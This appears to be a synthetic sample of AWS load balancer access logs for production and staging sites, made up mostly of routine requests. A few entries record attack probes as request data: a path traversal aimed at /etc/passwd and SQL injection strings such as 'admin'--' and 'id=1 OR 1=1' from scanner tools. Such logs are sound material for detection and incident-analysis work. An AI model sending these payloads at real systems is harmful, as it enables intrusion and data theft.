23.44.7.140:55619 10.0.146.161:443 0.078004 0.318188 0.065454 200 200 142 2365 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c0d8-cec3c6d7102648f98f4141e2" "prod-api-alb.example.com" "-" 0 2024-11-01T00:39:36.868006Z "forward" "-" "-" "10.0.146.161:443" "200" "-" "-" +https 2024-11-01T00:39:37.220648Z prod-api-alb 235.177.58.77:54179 10.0.53.75:443 0.080401 0.062962 0.073943 404 404 119 3879 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c0d9-cc4169af65a14500b1db234a" "prod-api-alb.example.com" "-" 9 2024-11-01T00:39:37.220648Z "forward" "-" "-" "10.0.53.75:443" "404" "-" "-" +https 2024-11-01T00:39:38.664861Z prod-api-alb 8.125.255.118:26272 10.0.150.14:443 0.067119 0.318021 0.066571 302 302 594 7122 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c0da-39f04eac8b96466ea78c4984" "prod-api-alb.example.com" "-" 5 2024-11-01T00:39:38.664861Z "forward" "-" "-" "10.0.150.14:443" "302" "-" "-" +https 2024-11-01T00:39:39.807761Z prod-web-alb 48.181.255.254:12218 10.0.211.161:443 0.078285 0.267971 0.015111 200 200 166 13676 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c0db-e471f87bfcc24cb682c10810" "prod-web-alb.example.com" "-" 0 2024-11-01T00:39:39.807761Z "forward" "-" "-" "10.0.211.161:443" "200" "-" "-" +https 2024-11-01T00:39:40.090834Z prod-web-alb 22.208.46.207:52396 10.0.158.40:443 0.079090 0.334889 0.098445 404 404 117 1202 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c0dc-5e11f6ddd0cb4775bd4acbee" "prod-web-alb.example.com" "-" 0 2024-11-01T00:39:40.090834Z "forward" "-" "-" "10.0.158.40:443" "404" "-" "-" +https 2024-11-01T00:39:40.649400Z prod-api-alb 86.183.122.228:12701 10.0.190.216:443 0.027747 0.163251 0.024697 301 301 472 1647 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c0dc-eb3ef09e204e476fb60fc054" "prod-api-alb.example.com" "-" 8 2024-11-01T00:39:40.649400Z "forward" "-" "-" "10.0.190.216:443" "301" "-" "-" +https 2024-11-01T00:39:42.201071Z prod-api-alb 159.41.199.172:47701 10.0.128.80:443 0.024362 0.241770 0.025558 404 404 956 8418 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c0de-0f2a123b8b77450b9a0abbce" "prod-api-alb.example.com" "-" 6 2024-11-01T00:39:42.201071Z "forward" "-" "-" "10.0.128.80:443" "404" "-" "-" +http 2024-11-01T00:39:43.502984Z staging-alb 61.195.26.7:33739 191.3.21.123:8080 0.089033 0.086398 0.137632 302 302 938 11876 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c0df-75cc8a69f93a446f81a6d09e" "staging-alb.example.com" "-" 5 2024-11-01T00:39:43.502984Z "forward" "-" "-" "191.3.21.123:8080" "302" "-" "-" +https 2024-11-01T00:39:44.779371Z prod-web-alb 45.155.205.243:35781 10.0.162.247:443 0.012366 0.326427 0.087036 500 500 326 386 "PUT /metrics HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c0e0-147b3ef1bad74f769670bbb1" "-" "-" 6 2024-11-01T00:39:44.779371Z "forward" "-" "-" "10.0.162.247:443" "500" "-" "-" +https 2024-11-01T00:39:45.400085Z prod-web-alb 101.97.71.132:63419 10.0.178.73:443 0.069035 0.304590 0.045482 200 200 470 3316 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c0e1-492ad9d78dae4c199d40dc8a" "prod-web-alb.example.com" "-" 7 2024-11-01T00:39:45.400085Z "forward" "-" "-" "10.0.178.73:443" "200" "-" "-" +https 2024-11-01T00:39:45.756752Z prod-web-alb 177.4.17.30:12709 10.0.21.39:443 0.040848 0.382290 0.094044 200 200 536 1230 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c0e1-d00772c08a4b484983c8dca6" "prod-web-alb.example.com" "-" 4 2024-11-01T00:39:45.756752Z "forward" "-" "-" "10.0.21.39:443" "200" "-" "-" +https 2024-11-01T00:39:45.915567Z staging-alb 45.155.205.141:42085 62.231.218.98:8080 0.002084 0.055096 0.016015 404 404 193 9940 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "gobuster/3.5" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c0e1-d132004721fa4b2190128947" "-" "-" 7 2024-11-01T00:39:45.915567Z "forward" "-" "-" "62.231.218.98:8080" "404" "-" "-" +http 2024-11-01T00:39:47.885911Z staging-alb 182.234.201.47:17321 28.124.73.24:443 0.014148 0.239315 0.050445 200 200 918 14777 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c0e3-eb1fa64ad7c94050b71a4c4b" "staging-alb.example.com" "-" 2 2024-11-01T00:39:47.885911Z "forward" "-" "-" "28.124.73.24:443" "200" "-" "-" +https 2024-11-01T00:39:48.609022Z prod-web-alb 138.195.212.225:34990 10.0.13.203:443 0.065774 0.498289 0.042537 200 200 779 5404 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c0e4-a868cd9ee56f4c86a87e864d" "prod-web-alb.example.com" "-" 9 2024-11-01T00:39:48.609022Z "forward" "-" "-" "10.0.13.203:443" "200" "-" "-" +https 2024-11-01T00:39:49.399116Z prod-api-alb 98.225.215.130:14073 10.0.174.210:443 0.008839 0.381039 0.020269 200 200 975 14749 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c0e5-906b5f28ec8b4245a372b093" "prod-api-alb.example.com" "-" 8 2024-11-01T00:39:49.399116Z "forward" "-" "-" "10.0.174.210:443" "200" "-" "-" +http 2024-11-01T00:39:49.622261Z staging-alb 176.208.181.244:30611 67.65.66.240:80 0.021944 0.655603 0.134775 200 200 502 7610 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c0e5-ce566f82d8944b6da9a7165b" "staging-alb.example.com" "-" 6 2024-11-01T00:39:49.622261Z "forward" "-" "-" "67.65.66.240:80" "200" "-" "-" +https 2024-11-01T00:39:50.707861Z prod-api-alb 146.114.16.244:28785 10.0.10.43:443 0.095051 0.416428 0.036841 301 301 981 14876 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c0e6-a1b6d2bde1eb4500aebaa098" "prod-api-alb.example.com" "-" 5 2024-11-01T00:39:50.707861Z "forward" "-" "-" "10.0.10.43:443" "301" "-" "-" +http 2024-11-01T00:39:52.339877Z staging-alb 42.57.79.6:62754 41.20.226.85:8080 0.048774 0.437621 0.100478 302 302 976 10273 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c0e8-eeb33056b44a4346a93ecf0b" "staging-alb.example.com" "-" 4 2024-11-01T00:39:52.339877Z "forward" "-" "-" "41.20.226.85:8080" "302" "-" "-" +http 2024-11-01T00:39:53.658535Z staging-alb 133.9.249.231:15234 93.135.247.111:80 0.104536 0.234262 0.011813 200 200 170 12074 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c0e9-8cc11a6d13a14c36bb0c961c" "staging-alb.example.com" "-" 10 2024-11-01T00:39:53.658535Z "forward" "-" "-" "93.135.247.111:80" "200" "-" "-" +https 2024-11-01T00:39:54.264362Z prod-api-alb 252.50.213.133:32910 10.0.46.10:443 0.061201 0.140907 0.025719 200 200 703 4489 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c0ea-a47275d9ca774b93b4987a3d" "prod-api-alb.example.com" "-" 5 2024-11-01T00:39:54.264362Z "forward" "-" "-" "10.0.46.10:443" "200" "-" "-" +https 2024-11-01T00:39:54.474268Z prod-api-alb 204.246.67.23:36746 10.0.195.24:443 0.005480 0.276061 0.074583 301 301 341 14426 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c0ea-a9ecd9324ccf434bb8fb11c8" "prod-api-alb.example.com" "-" 7 2024-11-01T00:39:54.474268Z "forward" "-" "-" "10.0.195.24:443" "301" "-" "-" +https 2024-11-01T00:39:56.074882Z prod-api-alb 242.221.40.217:14842 10.0.32.195:443 0.023255 0.445818 0.001295 200 200 310 10013 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c0ec-58a74126c03c4483a0310e17" "prod-api-alb.example.com" "-" 10 2024-11-01T00:39:56.074882Z "forward" "-" "-" "10.0.32.195:443" "200" "-" "-" +https 2024-11-01T00:39:56.440945Z prod-web-alb 0.96.97.4:15914 10.0.244.106:443 0.063757 0.370469 0.034362 200 200 528 8223 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c0ec-20e181393cd8455f9ec3a52c" "prod-web-alb.example.com" "-" 7 2024-11-01T00:39:56.440945Z "forward" "-" "-" "10.0.244.106:443" "200" "-" "-" +http 2024-11-01T00:39:57.415513Z staging-alb 231.45.40.253:37787 66.35.101.33:8080 0.047605 0.010793 0.073627 200 200 504 5468 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c0ed-5339b4b3e1464d0087005789" "staging-alb.example.com" "-" 4 2024-11-01T00:39:57.415513Z "forward" "-" "-" "66.35.101.33:8080" "200" "-" "-" +https 2024-11-01T00:39:58.658827Z prod-web-alb 69.125.195.112:61761 10.0.221.103:443 0.089756 0.258061 0.034346 200 200 498 11916 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c0ee-4036d23173b941de809c5908" "prod-web-alb.example.com" "-" 10 2024-11-01T00:39:58.658827Z "forward" "-" "-" "10.0.221.103:443" "200" "-" "-" +https 2024-11-01T00:39:59.564698Z prod-web-alb 45.155.205.243:14264 10.0.48.187:443 0.081276 0.005683 0.061730 403 403 84 6068 "PUT /server-status HTTP/1.1" "python-requests/2.31.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c0ef-8d9fd80947f042cfa054fb87" "-" "-" 0 2024-11-01T00:39:59.564698Z "forward" "-" "-" "10.0.48.187:443" "403" "-" "-" +https 2024-11-01T00:40:00.548174Z staging-alb 226.191.124.75:62283 148.51.211.82:8080 0.021803 0.153542 0.076676 200 200 161 2002 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c0f0-38cea4d52d7c493998cf41d6" "staging-alb.example.com" "-" 9 2024-11-01T00:40:00.548174Z "forward" "-" "-" "148.51.211.82:8080" "200" "-" "-" +https 2024-11-01T00:40:00.755365Z staging-alb 132.232.34.204:63953 163.128.210.146:80 0.085561 0.167276 0.108663 200 200 272 10166 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c0f0-d85449751d4243d5a6a0619c" "staging-alb.example.com" "-" 10 2024-11-01T00:40:00.755365Z "forward" "-" "-" "163.128.210.146:80" "200" "-" "-" +https 2024-11-01T00:40:01.485818Z prod-web-alb 8.196.125.55:11147 10.0.37.237:443 0.066936 0.286354 0.066035 200 200 37 13069 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c0f1-ba39b9a0a10a435b93d7cbf9" "prod-web-alb.example.com" "-" 0 2024-11-01T00:40:01.485818Z "forward" "-" "-" "10.0.37.237:443" "200" "-" "-" +https 2024-11-01T00:40:02.973044Z prod-api-alb 59.230.85.87:13462 10.0.212.194:443 0.064600 0.345284 0.038022 302 302 597 4491 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c0f2-23cc6d2bc7f14d4898d18605" "prod-api-alb.example.com" "-" 4 2024-11-01T00:40:02.973044Z "forward" "-" "-" "10.0.212.194:443" "302" "-" "-" +https 2024-11-01T00:40:04.350513Z prod-api-alb 31.74.155.242:61141 10.0.140.97:443 0.012867 0.454116 0.032676 200 200 329 9641 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c0f4-7cf62f0b41084ba88f60b919" "prod-api-alb.example.com" "-" 6 2024-11-01T00:40:04.350513Z "forward" "-" "-" "10.0.140.97:443" "200" "-" "-" +https 2024-11-01T00:40:06.331298Z prod-web-alb 230.92.250.115:38608 10.0.196.242:443 0.020446 0.239916 0.049506 200 200 562 4325 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c0f6-6acf3bce6a9644578b1d0e1c" "prod-web-alb.example.com" "-" 1 2024-11-01T00:40:06.331298Z "forward" "-" "-" "10.0.196.242:443" "200" "-" "-" +https 2024-11-01T00:40:07.478117Z prod-api-alb 22.179.164.98:47534 10.0.61.176:443 0.035983 0.306443 0.040311 200 200 812 13644 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c0f7-7ac28aa4feea418584421532" "prod-api-alb.example.com" "-" 4 2024-11-01T00:40:07.478117Z "forward" "-" "-" "10.0.61.176:443" "200" "-" "-" +https 2024-11-01T00:40:08.556620Z prod-web-alb 78.148.246.79:58724 10.0.170.2:443 0.094496 0.163822 0.042176 200 200 689 12757 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c0f8-e630b052aea94c1583e0cda9" "prod-web-alb.example.com" "-" 1 2024-11-01T00:40:08.556620Z "forward" "-" "-" "10.0.170.2:443" "200" "-" "-" +https 2024-11-01T00:40:10.335688Z staging-alb 179.15.203.205:49577 50.0.27.229:443 0.083436 0.101451 0.035604 302 302 530 10835 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c0fa-5372983fb0d94062ad8d32be" "staging-alb.example.com" "-" 7 2024-11-01T00:40:10.335688Z "forward" "-" "-" "50.0.27.229:443" "302" "-" "-" +https 2024-11-01T00:40:10.675208Z prod-web-alb 43.86.183.202:58771 10.0.13.104:443 0.007087 0.265123 0.012221 404 404 361 2058 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c0fa-5f37b507c6714b8c88ab7f41" "prod-web-alb.example.com" "-" 0 2024-11-01T00:40:10.675208Z "forward" "-" "-" "10.0.13.104:443" "404" "-" "-" +https 2024-11-01T00:40:11.168781Z prod-api-alb 185.181.39.39:53537 10.0.244.228:443 0.072829 0.233694 0.099877 403 403 216 11863 "GET /admin/login?username=admin'--&password=x HTTP/1.1" "WhatWeb/0.5.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c0fb-1e19c04fc0744c3b90ce9f34" "-" "-" 0 2024-11-01T00:40:11.168781Z "forward" "-" "-" "10.0.244.228:443" "403" "-" "-" +https 2024-11-01T00:40:12.982203Z prod-api-alb 230.236.139.34:13382 10.0.222.173:443 0.083087 0.159218 0.024037 200 200 434 3444 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c0fc-d99da9d6e58a49dc93cae411" "prod-api-alb.example.com" "-" 4 2024-11-01T00:40:12.982203Z "forward" "-" "-" "10.0.222.173:443" "200" "-" "-" +https 2024-11-01T00:40:13.502466Z staging-alb 179.214.24.63:58091 88.139.42.199:8080 0.035819 0.072324 0.139247 200 200 568 4879 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c0fd-e849cc14adc2428d89ccef96" "-" "-" 10 2024-11-01T00:40:13.502466Z "forward" "-" "-" "88.139.42.199:8080" "200" "-" "-" +https 2024-11-01T00:40:14.287124Z prod-api-alb 30.77.72.222:51281 10.0.91.17:443 0.078558 0.346539 0.011160 404 404 350 5924 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c0fe-f275dd9141ce44cb97defd0a" "prod-api-alb.example.com" "-" 10 2024-11-01T00:40:14.287124Z "forward" "-" "-" "10.0.91.17:443" "404" "-" "-" +https 2024-11-01T00:40:15.604403Z prod-web-alb 87.36.51.134:59640 10.0.49.219:443 0.030225 0.140840 0.054816 404 404 263 5110 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c0ff-472a4d938c4d445f84168d0b" "prod-web-alb.example.com" "-" 2 2024-11-01T00:40:15.604403Z "forward" "-" "-" "10.0.49.219:443" "404" "-" "-" +https 2024-11-01T00:40:17.586281Z prod-web-alb 104.196.118.37:58947 10.0.177.95:443 0.012991 0.460918 0.080674 200 200 95 6613 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c101-b6ce9f29045a474eac1c0494" "prod-web-alb.example.com" "-" 3 2024-11-01T00:40:17.586281Z "forward" "-" "-" "10.0.177.95:443" "200" "-" "-" +https 2024-11-01T00:40:18.152772Z prod-web-alb 40.243.200.44:26632 10.0.30.76:443 0.067684 0.412141 0.012005 302 302 242 11898 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c102-25444106f90940c384c8c5e2" "prod-web-alb.example.com" "-" 3 2024-11-01T00:40:18.152772Z "forward" "-" "-" "10.0.30.76:443" "302" "-" "-" +https 2024-11-01T00:40:19.934564Z prod-api-alb 64.197.165.162:47635 10.0.66.186:443 0.003579 0.374836 0.081501 200 200 721 10914 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c103-77eff11f1c12426590760027" "prod-api-alb.example.com" "-" 8 2024-11-01T00:40:19.934564Z "forward" "-" "-" "10.0.66.186:443" "200" "-" "-" +https 2024-11-01T00:40:20.563164Z prod-api-alb 2.154.64.31:46896 10.0.142.241:443 0.019744 0.163551 0.076248 200 200 331 1692 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c104-46837408d73c43afb9c82453" "prod-api-alb.example.com" "-" 10 2024-11-01T00:40:20.563164Z "forward" "-" "-" "10.0.142.241:443" "200" "-" "-" +https 2024-11-01T00:40:21.390189Z staging-alb 199.42.165.13:47538 26.171.68.170:8080 0.112004 0.154168 0.148432 404 404 107 5173 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c105-c4c18ec9401f43d59a461750" "staging-alb.example.com" "-" 10 2024-11-01T00:40:21.390189Z "forward" "-" "-" "26.171.68.170:8080" "404" "-" "-" +https 2024-11-01T00:40:23.029620Z prod-api-alb 64.208.194.83:49715 10.0.255.121:443 0.083546 0.126811 0.095338 301 301 153 11994 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c107-985be4b648094a99b017ce0a" "prod-api-alb.example.com" "-" 10 2024-11-01T00:40:23.029620Z "forward" "-" "-" "10.0.255.121:443" "301" "-" "-" +https 2024-11-01T00:40:23.903134Z staging-alb 81.200.176.182:48571 22.224.95.2:443 0.147085 0.407730 0.098482 200 200 693 7764 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c107-241d2c0427d84cd6b7d61051" "staging-alb.example.com" "-" 8 2024-11-01T00:40:23.903134Z "forward" "-" "-" "22.224.95.2:443" "200" "-" "-" +http 2024-11-01T00:40:24.037780Z staging-alb 185.181.76.214:39383 157.228.221.107:443 0.092482 0.028002 0.075879 403 403 730 2101 "POST /users?id=1 OR 1=1 HTTP/1.1" "masscan/1.3.2" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c108-ea4b73b4ab40451888bcf070" "-" 